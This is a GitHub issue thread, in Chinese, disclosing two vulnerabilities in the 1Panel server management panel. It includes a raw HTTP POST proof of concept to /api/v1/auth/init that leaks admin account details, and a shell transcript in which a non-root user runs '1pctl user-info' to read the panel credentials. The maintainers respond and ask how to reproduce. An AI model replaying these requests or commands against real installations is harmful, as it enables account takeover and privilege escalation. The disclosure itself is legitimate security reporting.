1Panel icon indicating copy to clipboard operation
1Panel copied to clipboard

[security]1panel 存在信息泄露漏洞、存在本地提权漏洞

Open weaweawe01 opened this issue 2 years ago • 9 comments

联系方式

weaweawe01

1Panel 版本

所有版本

问题描述

提交到security 页面没人看的。只能提交到 issues 了

1panel 信息泄露。泄露管理员账户 ##POC POST /api/v1/auth/init HTTP/1.1 Host: xxxxxx Content-Length: 48 Accept: application/json, text/plain, / X-CSRF-TOKEN: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close

{"name":"1","password":"1..","rePassword":"1.."}

image

泄露管理员账户信息

1panel 提权漏洞 通过非root 权限 [test@localhost ~]$ whoami test [test@localhost ~]$ [test@localhost ~]$ [test@localhost ~]$ 1pctl user-info username: admin111 password: xxxxxxx port: 40245 通过普通用户执行 1pctl user-info 就可以获取到面板的登录权限。即可成功获取root权限

重现步骤

1

期待的正确结果

1

相关日志输出

1

附加信息

1

weaweawe01 avatar May 05 '23 01:05 weaweawe01

4.27-5.5 提交了好久了。没人看的。奇奇怪怪的。

weaweawe01 avatar May 05 '23 01:05 weaweawe01

抱歉,我们遗漏了。我们马上着手研究和解决。

maninhill avatar May 05 '23 02:05 maninhill

4.27-5.5 提交了好久了。没人看的。奇奇怪怪的。

您好 第二个场景 请问test用户有sudo 权限的吗? 正常情况下 安装的时候 数据库文件为 root:root 权限,非 root 权限无法从 数据库文件 获取数据

zhengkunwang223 avatar May 05 '23 02:05 zhengkunwang223

755 的。有读取权限的。你可以先在root 用户执行一下1pctl user-info

然后切换到test 用户权限。执行一下1pctl user-info 就知道了。

weaweawe01 avatar May 05 '23 03:05 weaweawe01

你需要把数据库文件修改成700 权限。就可以了。

weaweawe01 avatar May 05 '23 03:05 weaweawe01

4.27-5.5 提交了好久了。没人看的。奇奇怪怪的。

您好 第二个场景 请问test用户有sudo 权限的吗? 正常情况下 安装的时候 数据库文件为 root:root 权限,非 root 权限无法从 数据库文件 获取数据

数据库文件改成700 1pctl 文件修改成700 或者 那个1pctl 目录改成700

weaweawe01 avatar May 05 '23 03:05 weaweawe01

4.27-5.5 提交了好久了。没人看的。奇奇怪怪的。

您好 第二个场景 请问test用户有sudo 权限的吗? 正常情况下 安装的时候 数据库文件为 root:root 权限,非 root 权限无法从 数据库文件 获取数据

数据库文件改成700 1pctl 文件修改成700 或者 那个1pctl 目录改成700

您好 没有复现 请确认 test 用户是否在 root 用户组中

zhengkunwang223 avatar May 05 '23 04:05 zhengkunwang223

4.27-5.5 提交了好久了。没人看的。奇奇怪怪的。

您好 第二个场景 请问test用户有sudo 权限的吗? 正常情况下 安装的时候 数据库文件为 root:root 权限,非 root 权限无法从 数据库文件 获取数据

数据库文件改成700 1pctl 文件修改成700 或者 那个1pctl 目录改成700

您好 没有复现 请确认 test 用户是否在 root 用户组中

就useradd test 新建的用户。 你直接修改数据库权限就行了。这种的就是权限导致的

weaweawe01 avatar May 05 '23 06:05 weaweawe01

4.27-5.5 提交了好久了。没人看的。奇奇怪怪的。

您好 第二个场景 请问test用户有sudo 权限的吗? 正常情况下 安装的时候 数据库文件为 root:root 权限,非 root 权限无法从 数据库文件 获取数据

数据库文件改成700 1pctl 文件修改成700 或者 那个1pctl 目录改成700

您好 没有复现 请确认 test 用户是否在 root 用户组中

就useradd test 新建的用户。 你直接修改数据库权限就行了。这种的就是权限导致的

你是什么操作系统和架构呢

zhengkunwang223 avatar May 05 '23 07:05 zhengkunwang223